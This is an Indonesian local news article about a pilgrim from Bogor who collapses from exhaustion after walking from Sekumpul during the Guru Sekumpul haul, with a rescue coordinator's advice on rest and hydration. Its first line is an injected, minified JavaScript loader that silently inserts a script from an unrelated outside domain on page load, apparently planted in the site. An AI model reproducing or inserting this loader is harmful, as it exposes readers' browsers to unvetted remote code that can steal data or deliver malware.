(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Setelah menempuh jalan kaki selama hampir satu jam dari Sekumpul hingga Sungai Paring, A Saiful (39), pria asal Bogor ini hanya bisa terbaring lemas di Posko Kesehatan di KM 37,5 dan mendapatkan perawatan medis hingga keadaanya kembali stabil.  Wajah yang pucat selama perjalanan tersebut, dia tetap bertahan menuju tempat istirahat di salah satu hotel kota Banjarbaru.
“Agak capek, ternyata jalannya cukup jauh,” ujar Saiful masih lemas.
Saiful dan rombongan yang berjumlah 8 orang ini berasal dari satu kota dengan satu guru pengajian yang sama. Melalui salah satu rekannya, Ahmad, dia bercerita kepada tim kanalkalimantan.com bahwa tidak hanya kali ini datang ke acara haul Guru Sekumpul.
Mereka mengenal Guru Sekumpul sudah sangat lama. Memang bisa dikatakan Guru Sekumpul sudah tersohor dari dalam hingga keluar negeri. Jadi pantas saja, jamaahnya datang dari penjuru daerah tak peduli halang rintangan yang mereka hadapi.
Kawan-kawan Saiful sempat kebingungan untuk kembali ke penginapan karena padatnya jalanan dan keadaan rekannya yang masih sangat lemah. Dengan memperhitungkan fisiknya dan jalur yang harus ditempuh mereka takut jika Saiful pingsan di jalanan.
Terkait kondisi seperti tersebut, Aiman, koordinator lapangam tim resque Banjarbaru mengimbau kepada seluruh jamaah yang sedang di perjalanan untuk terus menjaga kesehatannya dalam keadaam prima.
“Apabila kelelahan bisa istirahat di posko tersedak, dan lebih sering minum air putih untuk mencegah dehidrasi,” ujarnya.
Saat ini pada pukul 22.30 Wita, jalanan sangat padat hingga bundaran simpang empat. Dengan perkiraan kecepatan motor sekitar 15-20km/jam saja. Berbagai jalur alternatif di pilih guna mempersingkat waktu tempuh perjalanannya. Mulai sepeda motor, ambulance, hingga akhirnya menggunakan jasa online.
Terang saja Saiful kepayahan, dengan kedatangan di pagi hari Sabtu (23/3), ia bersama rombongan langsung ziarah ke makam Datu Kalampaian. Sesudahnya pada pukul 15.00 Wita, rombongan tersebut langsung menuju ke sekumpul untuk mengikuti acara pada malam hari, ditambah lagi berjalan kaki dari Sekumpul hingga Hotel Roditha. “Tadi kami dari kelampaian langsung sekumpul aja,” ujar Ahmad.
Perjalanan ini pun mereka siapkan sejak jauh hari. Seperti mencari tiket pulang pergi dari satu bulan yang lalu hingga penginapan dan akomodasi yang akan mereka lalui. Untuk jadwal mereka kembali nanti Senin, dan berharap bisa pulang dengan keadaan sehat dan selamat. Amin. (devi)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.